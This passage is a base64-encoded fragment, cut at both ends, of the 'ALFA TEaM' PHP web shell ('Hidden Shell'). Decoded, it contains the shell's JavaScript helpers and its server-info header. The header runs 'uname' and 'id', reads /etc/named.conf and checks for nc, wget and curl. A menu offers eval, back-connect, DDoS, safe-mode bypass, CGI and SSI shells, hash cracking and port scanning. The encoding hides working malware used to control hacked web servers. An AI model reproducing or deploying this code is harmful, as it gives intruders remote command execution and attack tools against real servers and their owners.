zc05hbWUoImZpbGVzdG9vbHMiKVswXTtpJiZpLmdldEF0dHJpYnV0ZSgiZmlkIik9PWUmJihpLm91dGVySFRNTD0iIiksZWRpdG9yX2N1cnJlbnRfZmlsZT09ZSYmKGVkaXRvcl9jdXJyZW50X2ZpbGU9IiIpLHVwZGF0ZUNvb2tpZUVkaXRvcigpfWZ1bmN0aW9uIGdldFJhbmRvbShlKXtmb3IodmFyIGk9IiIsdD0iMDEyMzQ1Njc4OWFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVoiLGw9dm9pZCAwPT09ZT8yMDplO2w+MDstLWwpaSs9dFtNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkqdC5sZW5ndGgpXTtyZXR1cm4gaX1mdW5jdGlvbiByZW9wZW4oZSl7dmFyIGk9ZS5nZXRBdHRyaWJ1dGUoImlkIiksdD1lZGl0b3JfZmlsZXNbaV0ucHdkO2VkaXRvcihlZGl0b3JfZmlsZXNbaV0uZmlsZSwiYXV0byIsIiIsdCxpKX1mdW5jdGlvbiBjb3B5VG9DbGlwYm9hcmQoZSl7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoZSk7aWYoZG9jdW1lbnQuc2VsZWN0aW9uKShpPWRvY3VtZW50LmJvZHkuY3JlYXRlVGV4dFJhbmdlKCkpLm1vdmVUb0VsZW1lbnRUZXh0KGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGUpKSxpLnNlbGVjdCgpLGRvY3VtZW50LmV4ZWNDb21tYW5kKCJDb3B5IiksYWxlcnQoInRleHQgY29waWVkIik7ZWxzZSBpZih3aW5kb3cuZ2V0U2VsZWN0aW9uKCkpe3ZhciBpPWRvY3VtZW50LmNyZWF0ZVJhbmdlKCk7aS5zZWxlY3ROb2RlKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGUpKSx3aW5kb3cuZ2V0U2VsZWN0aW9uKCkucmVtb3ZlQWxsUmFuZ2VzKCksd2luZG93LmdldFNlbGVjdGlvbigpLmFkZFJhbmdlKGkpLGRvY3VtZW50LmV4ZWNDb21tYW5kKCJjb3B5IiksYWxlcnQoInRleHQgY29waWVkIil9fWZ1bmN0aW9uIGVuY3J5cHQoZSxpKXtpZihudWxsPT1pfHxpLmxlbmd0aDw9MClyZXR1cm4gbnVsbDtlPWFsZmFiNjQoZSwhMCksaT1hbGZhYjY0KGksITApO2Zvcih2YXIgdD0iIixsPSIiLG89MDtvPGUubGVuZ3RoOylmb3IodmFyIGE9MDthPGkubGVuZ3RoJiYodD1lLmNoYXJDb2RlQXQobyleaS5jaGFyQ29kZUF0KGEpLGwrPVN0cmluZy5mcm9tQ2hhckNvZGUodCksISgrK28+PWUubGVuZ3RoKSk7YSsrKTtyZXR1cm4gYWxmYWI2NChsLCEwKX1mdW5jdGlvbiByZWxvYWRTZXR0aW5nKGUpe3JldHVybiBhbGZhbG9hZGVyKCJibG9jayIpLF9BamF4KGQuVVJMLCJhPSIrYWxmYWI2NCgic2V0dGluZ3MiKSsiJmFsZmExPSIrYWxmYWI2NChlLnByb3RlY3QudmFsdWUpKyImYWxmYTI9IithbGZhYjY0KGUubGdwYWdlLnZhbHVlKSsiJmFsZmEzPSIrYWxmYWI2NChlLnVzZXJuYW1lLnZhbHVlKSsiJmFsZmE0PSIrYWxmYWI2NChlLnBhc3N3b3JkLnZhbHVlKSsiJmFsZmE1PSIrYWxmYWI2NCgiPj4iKSsiJmFsZmE2PSIrYWxmYWI2NChlLmljb24udmFsdWUpKyImYWxmYTc9IithbGZhYjY0KGUucG9zdF9lbmNyeXB0LnZhbHVlKSsiJmFsZmE4PSIrYWxmYWI2NCgibWFpbiIpKyImYz0iK2FsZmFiNjQoY18pKyImYWpheD0iK2FsZmFiNjQoInRydWUiKSxmdW5jdGlvbihlKXtldmFsSlMoZSksYWxmYWxvYWRlcigibm9uZSIpfSwhMCksMD09ZS5lLnZhbHVlJiYxPT1lLnByb3RlY3QudmFsdWUmJnNldFRpbWVvdXQoImxvY2F0aW9uLnJlbG9hZCgpIiwxZTMpLGUucy52YWx1ZSE9ZS5pY29uLnZhbHVlJiZzZXRUaW1lb3V0KCJsb2NhdGlvbi5yZWxvYWQoKSIsMWUzKSwhMX1mdW5jdGlvbiByZWxvYWRDb2xvcnMoZSl7dmFyIGk9e307dm9pZCAwPT09ZT9kLnF1ZXJ5U2VsZWN0b3JBbGwoIi5jb2xvcnNfaW5wdXQiKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe3ZhciB0PWUuZ2V0QXR0cmlidXRlKCJ0YXJnZXQiKS5yZXBsYWNlKCIuIiwiIik7aVt0XT1lLnZhbHVlfSk6aT1lLGFsZmFsb2FkZXIoImJsb2NrIik7dmFyIHQ9JCgidXNlX2RlZmF1bHRfY29sb3IiKS5jaGVja2VkPyIxIjoiMCI7X0FqYXgoZC5VUkwsImE9IithbGZhYjY0KCJzZXR0aW5ncyIpKyImYWxmYTE9IithbGZhYjY0KEpTT04uc3RyaW5naWZ5KGkpKSsiJmFsZmEyPSIrYWxmYWI2NCgiPj4iKSsiJmFsZmEzPSIrYWxmYWI2NCh0KSsiJmFsZmE4PSIrYWxmYWI2NCgiY29sb3IiKSsiJmM9IithbGZhYjY0KGNfKSsiJmFqYXg9IithbGZhYjY0KCJ0cnVlIiksZnVuY3Rpb24oZSl7YWxmYWxvYWRlcigibm9uZSIpLGV2YWxKUyhlKX0sITApfWZ1bmN0aW9uIGFsZmFiNjQoZSxpKXtyZXR1cm4gdm9pZCAwIT09aXx8MD09cG9zdF9lbmNyeXB0aW9uX21vZGU/d2luZG93LmJ0b2EodW5lc2NhcGUoZW5jb2RlVVJJQ29tcG9uZW50KGUpKSk6ZW5jcnlwdChlLCInLl9BbGZhU2VjcmV0S2V5KCkuJyIpfWZ1bmN0aW9uIGV2YWxDc3MoZSl7dmFyIGk9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic3R5bGUiKTtpLnN0eWxlU2hlZXQ/aS5zdHlsZVNoZWV0LmNzc1RleHQ9ZTppLmFwcGVuZENoaWxkKGRvY3VtZW50LmNyZWF0ZVRleHROb2RlKGUpKSxkLmdldEVsZW1lbnRzQnlUYWdOYW1lKCJoZWFkIilbMF0uYXBwZW5kQ2hpbGQoaSl9ZnVuY3Rpb24gY29sb3JIYW5kbGVyS2V5KGUpe3NldFRpbWVvdXQoZnVuY3Rpb24oaSl7Y29sb3JIYW5kbGVyKGUpfSwyMDApfWZ1bmN0aW9uIGNvbG9ySGFuZGxlcihlKXt2YXIgdD1lLmdldEF0dHJpYnV0ZSgidGFyZ2V0IiksbD1lLmdldEF0dHJpYnV0ZSgibXVsdGkiKSxvPXQuaW5kZXhPZigiOmhvdmVyIik7aWYobCl7dmFyIGE9SlNPTi5wYXJzZShhdG9iKGwpKSxyPSIiO2ZvcihpIGluIGEubXVsdGlfc2VsZWN0b3Ipcis9aSsieyIrYS5tdWx0aV9zZWxlY3RvcltpXS5yZXBsYWNlKC97Y29sb3J9L2csZS52YWx1ZSkrIn0iO2V2YWxDc3Mocil9LTE9PW98fGw/KCQoImlucHV0XyIrdC5yZXBsYWNlKCIuIiwiIikpLnZhbHVlPWUudmFsdWUsJCgiZ3VpXyIrdC5yZXBsYWNlKCIuIiwiIikpLnZhbHVlPWUudmFsdWUsIi5oZWFkZXJfdmFsdWVzIj09dCYmKHQ9Ii5oZWFkZXIsLmhlYWRlcl92YWx1ZXMiKSxkLnF1ZXJ5U2VsZWN0b3JBbGwodCkuZm9yRWFjaChmdW5jdGlvbihpKXtpLnN0eWxlLmNvbG9yPWUudmFsdWV9KSk6KCQoImlucHV0XyIrdC5yZXBsYWNlKCIuIiwiIikpLnZhbHVlPWUudmFsdWUsJCgiZ3VpXyIrdC5yZXBsYWNlKCIuIiwiIikpLnZhbHVlPWUudmFsdWUsZXZhbENzcyh0KyJ7Y29sb3I6ICIrZS52YWx1ZSsiO30iKSl9ZnVuY3Rpb24gaW1wb3J0Q29uZmlnKGUpe3ZhciBpPWUudGFyZ2V0LHQ9bmV3IEZpbGVSZWFkZXI7dC5vbmxvYWQ9ZnVuY3Rpb24oKXt2YXIgZT10LnJlc3VsdDt0cnl7cmVsb2FkQ29sb3JzKEpTT04ucGFyc2UoZSkpfWNhdGNoKGUpe2FsZXJ0KCJDb25maWcgaXMgaW52YWxpZC4uLiEiKX0kKCJpbXBvcnRGaWxlQnRuIikudmFsdWU9IiJ9LHQucmVhZEFzVGV4dChpLmZpbGVzWzBdKX1mdW5jdGlvbiBjaGVja0JveCgpe2ZvcihpPTA7aTxkLmZpbGVzLmVsZW1lbnRzLmxlbmd0aDtpKyspImNoZWNrYm94Ij09ZC5maWxlcy5lbGVtZW50c1tpXS50eXBlJiYoZC5maWxlcy5lbGVtZW50c1tpXS5jaGVja2VkPWQuZmlsZXMuZWxlbWVudHNbMF0uY2hlY2tlZCl9ZnVuY3Rpb24gcGF0aF9oaXN0b3J5KGUpe19BamF4KGQuVVJMLCJhPSIrYWxmYWI2NCgiR2V0UGF0aEhpc3RvcnkiKSsiJmFqYXg9IithbGZhYjY0KCJ0cnVlIiksZnVuY3Rpb24oZSl7ZygiRmlsZXNNYW4iLGUpfSwhMCl9ZnVuY3Rpb24gcnVuY2dpKGUpe2lmKGNnaV9pc19taW5pbWl6ZWQmJmNnaV9sYW5nPT1lKXJldHVybiBzaG93RWRpdG9yKCJjZ2lsb2FkZXIiKSwhMTtfQWpheChkLlVSTCwiYT0iK2FsZmFiNjQoImNnaXNoZWxsIikrIiZhbGZhMT0iK2FsZmFiNjQoZSkrIiZhamF4PSIrYWxmYWI2NCgidHJ1ZSIpLGZ1bmN0aW9uKGkpe2QuYm9keS5zdHlsZS5vdmVyZmxvdz0iaGlkZGVuIiwkKCJjZ2lsb2FkZXIiKS5zdHlsZS5kaXNwbGF5PSJibG9jayIsJCgiY2dpZnJhbWUiKS5pbm5lckhUTUw9aSxjZ2lfbGFuZz1lLGNnaV9pc19taW5pbWl6ZWQmJigkKCJjZ2lsb2FkZXItbWluaW1pemVkIikuc2V0QXR0cmlidXRlKCJjbGFzcyIsIm1pbmltaXplZC1oaWRlIiksc2V0VGltZW91dChmdW5jdGlvbigpeyQoImNnaWxvYWRlciIpLnJlbW92ZUF0dHJpYnV0ZSgiY2xhc3MiKSxpc19taW5pbWl6ZWQmJigkKCJlZGl0b3ItbWluaW1pemVkIikuc3R5bGUudG9wPSIzMCUiKX0sMWUzKSl9KX0nO2VjaG8gIjwvc2NyaXB0Pjxmb3JtIHN0eWxlPSdkaXNwbGF5Om5vbmU7JyBpZD0nZGxGb3JtJyBhY3Rpb249JycgdGFyZ2V0PSdfYmxhbmsnIG1ldGhvZD0ncG9zdCc+PGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nYScgdmFsdWU9J2RsZmlsZSc+PGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nYycgdmFsdWU9Jyc+PGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nZmlsZScgdmFsdWU9Jyc+PC9mb3JtPjxpbnB1dCB0eXBlPSdmaWxlJyBzdHlsZT0nZGlzcGxheTpub25lOycgaWQ9J2ltcG9ydEZpbGVCdG4nIG9uY2hhbmdlPSdpbXBvcnRDb25maWcoZXZlbnQpOyc+PGltZyBpZD0nYV9sb2FkZXInIHNyYz0nIi5fX3Nob3dpY29uKCdsb2FkZXInKS4iJz4iOyRjbWRfdW5hbWUgPSBhbGZhRXgoInVuYW1lIC1hIixmYWxzZSxmYWxzZSk7JHVuYW1lID0gZnVuY3Rpb25fZXhpc3RzKCdwaHBfdW5hbWUnKSA/IHN1YnN0cihAcGhwX3VuYW1lKCksIDAsIDEyMCkgOiAoc3RybGVuKCRjbWRfdW5hbWUpPjA/JGNtZF91bmFtZTonKCBwaHBfdW5hbWUgKSBGdW5jdGlvbiBEaXNhYmxlZCAhJyk7aWYoJHVuYW1lPT0iKCBwaHBfdW5hbWUgKSBGdW5jdGlvbiBEaXNhYmxlZCAhIil7JEdMT0JBTFNbIm5lZWRfdG9fdXBkYXRlX2hlYWRlciJdPSJ0cnVlIjt9ZWNobyAnPC9oZWFkPjxib2R5IGJnY29sb3I9IiMwMDAwMDAiIGxlZnRtYXJnaW49IjAiIHRvcG1hcmdpbj0iMCIgbWFyZ2lud2lkdGg9IjAiIG1hcmdpbmhlaWdodD0iMCI+PGRpdiBpZD0idXBfYmFyIj48L2Rpdj48ZGl2IGNsYXNzPSJ3aG9sZSI+PGZvcm0gbWV0aG9kPSJwb3N0IiBuYW1lPSJtZiIgc3R5bGU9ImRpc3BsYXk6bm9uZTsiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImMiIHZhbHVlPSInLiRHTE9CQUxTWydjd2QnXS4nIj4nO2Zvcigkcz0xOyRzPD0xMDskcysrKXtlY2hvICc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhbGZhJy4kcy4nIj4nO31lY2hvICc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJjaGFyc2V0Ij48L2Zvcm0+PGRpdiBpZD1cJ2hpZGRlbl9zaFwnPjxhIGNsYXNzPSJhbGVydF9ncmVlbiIgdGFyZ2V0PSJfYmxhbmsiIGhyZWY9Ij9zb2xldmlzaWJsZSI+SGlkZGVuIFNoZWxsPGJyPjxzbWFsbD5WZXJzaW9uOiA8c3BhbiBjbGFzcz0iaGlkZGVuX3NoZWxsX3ZlcnNpb24iPicuX19BTEZBX1ZFUlNJT05fXy4nPC9zcGFuPjwvc21hbGw+PC9hPjwvZGl2PjxkaXYgY2xhc3M9ImhlYWRlciI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiPjx0cj48dGQgd2lkdGg9IjMlIj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPlVuYW1lOjwvc3Bhbj48L3RkPjx0ZCBjb2xzcGFuPSIyIj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhbHVlcyIgaWQ9ImhlYWRlcl91bmFtZSI+Jy4kdW5hbWUuJzwvc3Bhbj48L3RkPjwvdHI+PHRyPjx0ZD48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPlVzZXI6PC9zcGFuPjwvdGQ+PHRkPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFsdWVzIiBpZD0iaGVhZGVyX3VzZXJpZCI+Jy4gJHVpZCAuICcgWyAnIC4gJHVzZXIgLiAnIF0gPC9zcGFuPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+IEdyb3VwOiA8L3NwYW4+PHNwYW4gY2xhc3M9ImhlYWRlcl92YWx1ZXMiIGlkPSJoZWFkZXJfZ3JvdXBpZCI+JyAuICRnaWQgLiAnIFsgJyAuICRncm91cCAuICcgXTwvc3Bhbj4gPC90ZD48dGQgd2lkdGg9IjEyJSIgcm93c3Bhbj0iOCI+PGltZyBzdHlsZT0iYm9yZGVyLXJhZGl1czoxMDBweDsiIHdpZHRoPSIzMDAiIGhlaWdodD0iMTcwIiBhbHQ9IiIgc3JjPSJodHRwOi8vc29sZXZpc2libGUuY29tL2ltYWdlcy9hbGZhLWlyYW4ucG5nIiAvPjwvdGQ+PC90cj48dHI+PHRkPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+UEhQOjwvc3Bhbj48L3RkPjx0ZD48Yj4nLkBwaHB2ZXJzaW9uKCkuICcgPC9iPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+IFNhZmUgTW9kZTogJy4kc2FmZV9tb2Rlcy4nPC9zcGFuPjwvdGQ+PC90cj48dHI+PHRkPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+U2VydmVySVA6PC9zcGFuPjwvdGQ+PHRkPjxiPicuKCFAJF9TRVJWRVJbIlNFUlZFUl9BRERSIl0/KGZ1bmN0aW9uX2V4aXN0cygiZ2V0aG9zdGJ5bmFtZSIpP0BnZXRob3N0YnluYW1lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKTonPz8/PycpOkAkX1NFUlZFUlsiU0VSVkVSX0FERFIiXSkuJyA8c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPllvdXIgSVA6PC9zcGFuPjxiPiAnLkAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXS4nPC9iPjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPSIzJSI+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5EYXRlVGltZTo8L3NwYW4+PC90ZD48dGQgY29sc3Bhbj0iMiI+PGI+Jy5kYXRlKCdZLW0tZCBIOmk6cycpLic8L2I+PC90ZD48L3RyPjx0cj48dGQ+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5Eb21haW5zOjwvc3Bhbj48L3RkPjx0ZCB3aWR0aD0iNzYlIj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhbHVlcyIgaWQ9ImhlYWRlcl9kb21haW5zIj4nO2lmKCRHTE9CQUxTWydzeXMnXT09J3VuaXgnKXskZDBtYWlucyA9IF9hbGZhX2ZpbGUoIi9ldGMvbmFtZWQuY29uZiIsZmFsc2UpO2lmKCEkZDBtYWlucyl7ZWNobyAiQ2FudCBSZWFkIFsgL2V0Yy9uYW1lZC5jb25mIF0iOyRHTE9CQUxTWyJuZWVkX3RvX3VwZGF0ZV9oZWFkZXIiXT0idHJ1ZSI7fWVsc2V7JGNvdW50PTA7Zm9yZWFjaCgkZDBtYWlucyBhcyAkZDBtYWluKXtpZihAc3Ryc3RyKCRkMG1haW4sInpvbmUiKSl7cHJlZ19tYXRjaF9hbGwoJyN6b25lICIoLiopIiMnLCAkZDBtYWluLCAkZG9tYWlucyk7Zmx1c2goKTtpZihzdHJsZW4odHJpbSgkZG9tYWluc1sxXVswXSkpID4gMil7Zmx1c2goKTskY291bnQrKzt9fX1lY2hvICIkY291bnQgRG9tYWlucyI7fX1lbHNle2VjaG8oIkNhbnQgUmVhZCBbIC9ldGMvbmFtZWQuY29uZiBdIik7fSBlY2hvICc8L3NwYW4+PC90ZD48L3RyPjx0cj48dGQgaGVpZ2h0PSIxNiI+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5IREQ6PC9zcGFuPjwvdGQ+PHRkPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+VG90YWw6PC9zcGFuPjxiPicuYWxmYVNpemUoJHRvdGFsU3BhY2UpLicgPC9iPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+RnJlZTo8L3NwYW4+PGI+JyAuIGFsZmFTaXplKCRmcmVlU3BhY2UpIC4gJyBbJy4gKGludCkgKCRmcmVlU3BhY2UvJHRvdGFsU3BhY2UqMTAwKSAuICclXTwvYj48L3RkPjwvdHI+JztpZigkR0xPQkFMU1snc3lzJ109PSd1bml4Jyl7JHVzZWZ1bF9kb3dubG9hZGVyID0gJzx0cj48dGQgaGVpZ2h0PSIxOCIgY29sc3Bhbj0iMiI+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj51c2VmdWw6PC9zcGFuPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFsdWVzIiBpZD0iaGVhZGVyX3VzZWZ1bCI+LS0tLS0tLS0tLS0tLS08L3NwYW4+PC90ZD48L3RyPjx0ZCBoZWlnaHQ9IjAiIGNvbHNwYW49IjIiPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+RG93bmxvYWRlcjogPC9zcGFuPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFsdWVzIiBpZD0iaGVhZGVyX2Rvd25sb2FkZXIiPi0tLS0tLS0tLS0tLS0tPC9zcGFuPjwvdGQ+PC90cj4nO2lmKCFAaW5pX2dldCgnc2FmZV9tb2RlJykpe2lmKHN0cmxlbihhbGZhRXgoImlkIixmYWxzZSxmYWxzZSkpPjApe2VjaG8gJzx0cj48dGQgaGVpZ2h0PSIxOCIgY29sc3Bhbj0iMiI+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5Vc2VmdWwgOiA8L3NwYW4+JzskdXNlcmZ1bCA9IGFycmF5KCdnY2MnLCdsY2MnLCdjYycsJ2xkJywnbWFrZScsJ3BocCcsJ3BlcmwnLCdweXRob24nLCdydWJ5JywndGFyJywnZ3ppcCcsJ2J6aXAnLCdiemlhbGZhMicsJ25jJywnbG9jYXRlJywnc3VpZHBlcmwnKTskeD0wO2ZvcmVhY2goJHVzZXJmdWwgYXMgJGl0ZW0paWYoYWxmYVdoaWNoKCRpdGVtKSl7JHgrKztlY2hvICc8c3BhbiBjbGFzcz0iaGVhZGVyX3ZhbHVlcyIgc3R5bGU9Im1hcmdpbi1sZWZ0OiA0cHg7Ij4nLiRpdGVtLic8L3NwYW4+Jzt9aWYoJHg9PTApe2VjaG8gIjxzcGFuIGNsYXNzPSdoZWFkZXJfdmFsdWVzJyBpZD0naGVhZGVyX3VzZWZ1bCc+LS0tLS0tLS0tLS0tLS08L3NwYW4+IjskR0xPQkFMU1sibmVlZF90b191cGRhdGVfaGVhZGVyIl0gPSAidHJ1ZSI7fWVjaG8gJzwvdGQ+PC90cj48dHI+PHRkIGhlaWdodD0iMCIgY29sc3Bhbj0iMiI+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5Eb3dubG9hZGVyOiA8L3NwYW4+JzskZG93bmxvYWRlcnMgPSBhcnJheSgnd2dldCcsJ2ZldGNoJywnbHlueCcsJ2xpbmtzJywnY3VybCcsJ2dldCcsJ2x3cC1taXJyb3InKTskeD0wO2ZvcmVhY2goJGRvd25sb2FkZXJzIGFzICRpdGVtMilpZihhbGZhV2hpY2goJGl0ZW0yKSl7JHgrKztlY2hvICc8c3BhbiBjbGFzcz0iaGVhZGVyX3ZhbHVlcyIgc3R5bGU9Im1hcmdpbi1sZWZ0OiA0cHg7Ij4nLiRpdGVtMi4nPC9zcGFuPic7fWlmKCR4PT0wKXtlY2hvICI8c3BhbiBjbGFzcz0naGVhZGVyX3ZhbHVlcycgaWQ9J2hlYWRlcl9kb3dubG9hZGVyJz4tLS0tLS0tLS0tLS0tLTwvc3Bhbj4iOyRHTE9CQUxTWyJuZWVkX3RvX3VwZGF0ZV9oZWFkZXIiXSA9ICJ0cnVlIjt9ZWNobyAnPC90ZD48L3RyPic7fWVsc2V7ZWNobyAkdXNlZnVsX2Rvd25sb2FkZXI7JEdMT0JBTFNbIm5lZWRfdG9fdXBkYXRlX2hlYWRlciJdID0gInRydWUiO319ZWxzZXtlY2hvICR1c2VmdWxfZG93bmxvYWRlcjskR0xPQkFMU1sibmVlZF90b191cGRhdGVfaGVhZGVyIl0gPSAidHJ1ZSI7fX1lbHNle2VjaG8gJzx0cj48dGQgaGVpZ2h0PSIxOCIgY29sc3Bhbj0iMiI+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5XaW5kb3dzOjwvc3Bhbj48Yj4nO2VjaG8gYWxmYUV4KCd2ZXInLGZhbHNlLGZhbHNlKTtlY2hvICc8L3RkPjwvdHI+IDx0cj48dGQgaGVpZ2h0PSIwIiBjb2xzcGFuPSIyIj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPkRvd25sb2FkZXI6IDwvc3Bhbj48Yj4tLS0tLS0tLS0tLS0tPC9iPjwvdGQ+PC90cj48L2I+Jzt9JHF1b3RlcyA9IChmdW5jdGlvbl9leGlzdHMoJ2dldF9tYWdpY19xdW90ZXNfZ3BjJyk/Z2V0X21hZ2ljX3F1b3Rlc19ncGMoKTonMCcpO2lmICgkcXVvdGVzID09ICIxIiBvciAkcXVvdGVzID09ICJvbiIpeyRtYWdpYyA9ICc8Yj48c3BhbiBjbGFzcz0iaGVhZGVyX29uIj5PTjwvc3Bhbj4nO31lbHNleyRtYWdpYyA9ICc8c3BhbiBjbGFzcz0iaGVhZGVyX29mZiI+T0ZGPC9zcGFuPic7fWVjaG8gJzx0cj48dGQgaGVpZ2h0PSIxNiIgY29sc3Bhbj0iMiI+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5EaXNhYmxlIEZ1bmN0aW9uczogPC9zcGFuPjxiPicuQWxmYV9HZXREaXNhYmxlX0Z1bmN0aW9uKCkuJzwvYj48L3RkPjwvdHI+PHRyPjx0ZCBoZWlnaHQ9IjE2IiBjb2xzcGFuPSIyIj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPkNVUkwgOjwvc3Bhbj4nLiRjdXJsLicgfCA8c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPlNTSDIgOiA8L3NwYW4+Jy4kc3NoMi4nIHwgPHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5NYWdpYyBRdW90ZXMgOiA8L3NwYW4+Jy4kbWFnaWMuJyB8IDxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+IE15U1FMIDo8L3NwYW4+Jy4kbXlzcWwuJyB8IDxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+TVNTUUwgOjwvc3Bhbj4nLiRtc3NxbC4nIHwgPHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj4gUG9zdGdyZVNRTCA6PC9zcGFuPicuJHBnLicgfCA8c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPiBPcmFjbGUgOjwvc3Bhbj4nLiRvci4nICcuKCRHTE9CQUxTWydzeXMnXT09InVuaXgiPyd8IDxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+IENHSSA6PC9zcGFuPiAnLiRjZ2lfc2hlbGw6IiIpLic8L3RkPjx0ZCB3aWR0aD0iMTUlIj48Y2VudGVyPjxhIGhyZWY9Imh0dHA6Ly96b25lLWgub3JnL2FyY2hpdmUvbm90aWZpZXI9QUxGQSUyMFRFYU0lMjAyMDEyIiB0YXJnZXQ9Il9ibGFuayI+PHNwYW4+PGZvbnQgY2xhc3M9InNvbGV2aXNpYmxlLXRleHQiIGNvbG9yPSIjMEYwIj5Tb2xlIFNhZCAmIEludmlzaWJsZTwvZm9udD48L3NwYW4+PC9hPjwvY2VudGVyPjwvdGQ+PC90cj48dHI+PHRkIGhlaWdodD0iMTEiIGNvbHNwYW49IjMiPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+T3Blbl9iYXNlZGlyIDo8L3NwYW4+PGI+Jy4kb3Blbl9iLic8L2I+IHwgPHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5TYWZlX21vZGVfZXhlY19kaXIgOjwvc3Bhbj48Yj4nLiRzYWZlX2V4ZS4nPC9iPiB8IDxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+IFNhZmVfbW9kZV9pbmNsdWRlX2RpciA6PC9zcGFuPjwvYj4nLiRzYWZlX2luY2x1ZGUuJzwvYj48L3RkPjwvdHI+PHRyPjx0ZCBoZWlnaHQ9IjExIj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPlNvZnRXYXJlOiA8L3NwYW4+PC90ZD48dGQgY29sc3Bhbj0iMiI+PGI+Jy5AZ2V0ZW52KCdTRVJWRVJfU09GVFdBUkUnKS4nPC9iPjwvdGQ+PC90cj4nO2lmKCRHTE9CQUxTWydzeXMnXT09IndpbiIpe2VjaG8gJzx0cj48dGQgaGVpZ2h0PSIxMiI+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5EUklWRTo8L3NwYW4+PC90ZD48dGQgY29sc3Bhbj0iMiI+PGI+Jy4kZHJpdmVzLic8L2I+PC90ZD48L3RyPic7fWVjaG8gJzx0cj48dGQgaGVpZ2h0PSIxMiI+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5QV0Q6PC9zcGFuPjwvdGQ+PHRkIGNvbHNwYW49IjIiPjxzcGFuIGlkPSJoZWFkZXJfY3dkIj4nLiRjd2RfbGlua3MuJyA8L3NwYW4+PGEgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0iZyhcJ0ZpbGVzTWFuXCcsXCcnIC4gJEdMT0JBTFNbJ2hvbWVfY3dkJ10gLiAnXCcsXCdcJyxcJ1wnLFwnXCcpIj48c3BhbiBjbGFzcz0iaG9tZV9zaGVsbCI+WyBIb21lIFNoZWxsIF08L3NwYW4+IDwvYT48YSBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCk7IiBvbmNsaWNrPSJwYXRoX2hpc3RvcnkoXCdiYWNrXCcpOyI+PHNwYW4gY2xhc3M9ImJhY2tfc2hlbGwiPlsgQkFDSyBdPC9zcGFuPjwvYT48L3RkPjwvdHI+PC90YWJsZT48L2Rpdj48ZGl2IGlkPSJtZXVubGlzdCI+PHVsPic7ICAkbGkgPSBhcnJheSgnRmlsZXNNYW4nPT4nSG9tZScsJ3Byb2MnPT4nUHJvY2VzcycsJ3BocGV2YWwnPT4nRXZhbCcsJ3NxbCc9PidTUUwgTWFuYWdlcicsJ2R1bXBlcic9PidNeXNxbCBEdW1wZXInLCdoYXNoJz0+J0VuLURlY29kZXInLCdjb25uZWN0Jz0+J0JDJywnc3NoMic9PidTU0gyJywgICd6b25laCc9PidaT05FLUgnLCdkb3MnPT4nRERPUycsJ3NhZmUnPT4nQnlQYXNzZXInLCdjZ2lzaGVsbCc9PidDZ2kgU2hlbGwnLCdzc2lTaGVsbCc9PidTU0kgU0hFTEwnLCdjcGNyYWNrJz0+J0hhc2ggVG9vbHMnLCAgJ3BvcnRzY2FubmVyJz0+J1BvcnQgU2NhbmVyJywnYmFzZWRpcic9PidPcGVuIEJhc2VEaXInLCdtYWlsJz0+